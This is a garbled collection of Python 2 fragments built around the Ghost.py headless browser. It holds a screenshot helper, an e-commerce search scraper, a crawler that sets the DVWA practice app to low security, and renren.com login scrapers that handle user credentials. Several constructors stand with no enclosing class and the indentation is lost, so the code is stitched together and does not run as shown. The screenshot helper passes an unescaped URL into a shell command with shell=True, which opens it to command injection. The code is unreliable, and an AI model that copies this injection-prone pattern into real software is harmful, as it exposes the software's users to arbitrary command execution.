except ImportError:
self.ghost = None
def cuty_shot(self, url, filename, x11=True, width=1024, height=768, colorbits=24):
#TODO: add check if cutycapt installed
if x11:
cmd = 'cutycapt --url="%s" --out=%s' % (url, filename)
else:
cmd = 'xvfb-run --server-args="-screen 0, %ix%ix%i" cutycapt --url="%s" --out=%s' % \
(url, filename, width, height, colorbits)
try:
Popen(cmd, shell=True).wait()
return True
except:
return False
def ghost_shot(self, url, filename, ignore_errors=True):
#print('ghost_shot(%s)' % url)
try:
page, resources = self.ghost.open(url)
if ignore_errors:
self.ghost.capture_to(filename)
return True
elif page.http_status == 200 and page.totalBytes() != 0:
self.ghost.capture_to(filename)
return True
else:
return False
except:
print(exc_info())
return False
def screenshot(self, url, filename, overwrite=False):
if path.exists(filename) and not overwrite:
print('%s exists, skipping' % filename)
return
print('[SCREENSHOT] %s -> %s' % (url, filename))
if self.ghost is not None:
self.ghost_shot(url, filename)
else:
self.cuty_shot(url, filename)
class searchData:
def __init__(self, keyword):
self.ghost = Ghost()
self.kw = urllib.quote(keyword)
self.site = {
'td': 'https://s.taobao.com/search?&q=', # 淘宝
'jd': 'http://search.jd.com/Search?keyword=', # 京东
'yd': 'http://search.yhd.com/c0-0/k', # 一号店
'yx': 'http://searchex.yixun.com/html?key=u', # 易迅
'lf': 'http://search.lefeng.com/search/noresult?keyWord=', # 乐蜂网
'an': 'http://www.amazon.cn/s/ref=nb_sb_noss_1/475-4397139-2107651?field-keywords=', # 亚马逊
'vl': 'http://s.vancl.com/search?k=', # 凡客诚品
'ge': 'http://search.gome.com.cn/search?question=', # 国美在线
'sg': 'http://search.suning.com/' # 苏宁易购
}
self.list = ['td', 'jd', 'yx', 'lf', 'an', 'vl', 'ge', 'sg']
for s in self.list:
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; WOW64) '
'AppleWebKit/537.36 (KHTML, like Gecko) '
'Chrome/43.0.2357.132 Safari/537.36',
'Referer': urlparse(self.site[s]).scheme + '://' + urlparse(self.site[s]).netloc,
'Host': urlparse(self.site[s]).netloc
}
# print s, len(requests.get(self.site[s], headers=headers).content)
if s == 'yx':
# result = requests.get(self.site[s], headers=headers)
with self.ghost.start() as session:
session.open(self.site[s], headers=headers)
page, resources = session.wait_for_page_loaded()
print repr(page.content)
def __init__(self, url=None):
if url:
self.url = url
assert self.url, "All clients must have a URL attribute"
self._attributes = self._collect_attributes()
self._class_model = self._setup_class_model()
self._ghost = Ghost()
def __init__(self, target_url):
self.max_depth = 0 #0为单页面
self.ghost = Ghost(wait_timeout=page_timeout, display=True, download_images=False)
dvwa_security(self.ghost, 'low')
self.base_url = base(target_url)
self.result = {target_url: []} #字典保存所有url及其参数
self.__page_crawler(target_url, 0)
def __init__(self, email, password):
SGMLParser.__init__(self)
self.h3 = False
self.h3_is_ready = False
self.div = False
self.h3_and_div = False
self.a = False
self.depth = 0
self.names = ""
self.dic = {}
self.email = email
self.password = password
self.domain = 'renren.com'
self.file = None
self.friend_file = None
self.ghost = Ghost()
self.cookie = None
self.group_url = "http://friend.renren.com/groupsdata"
self.group_home = "http://friend.renren.com/managefriends"
self.file_url = "renren_cookie.txt"
self.mongodb = MongoClient("127.0.0.1", 27017)
try:
self.cookie = cookielib.LWPCookieJar(self.file_url)
cookieProc = urllib2.HTTPCookieProcessor(self.cookie)
except:
raise
else:
opener = urllib2.build_opener(cookieProc)
urllib2.install_opener(opener)
print "init finished successfully!!"
class spidder(SGMLParser):
def __init__(self, email, password):
self.email = email
self.password = password
self.domain = "renren.com"
self.ghost = Ghost()
self.log_url = "http://www.renren.com/SysHome.do"
self.log_auth_url = "http://www.renren.com/PLogin.do"
self.frd_url = "http://friend.renren.com/managefriends"
self.posttest_url = "http://localhost/print_post.php"
self.post_data = {
'email': self.email,
'password': self.password,
'domain': self.domain
}
def ghost_test(self):
with self.ghost.start() as session:
#执行一个post请求，登录页面
page, resources = None, None
try:
req = urllib2.Request(self.posttest_url, urllib.urlencode(self.post_data))
print req
page, resources = session.open(self.posttest_url, method='post', body=req.data)
except:
print sys.exc_info()[0], sys.exc_info()[1]
else:
print "we get the string!"
def __init__(self, **kwargs):
kwargs.setdefault('wait_timeout', 60)
self.user_id = kwargs.pop('user_id')
self.access_token = kwargs.pop('access_token')
self.server_host = kwargs.pop('server_host')
self.server_port = kwargs.pop('server_port')
self.ghost = Ghost(**kwargs)
self.callbacks = {}
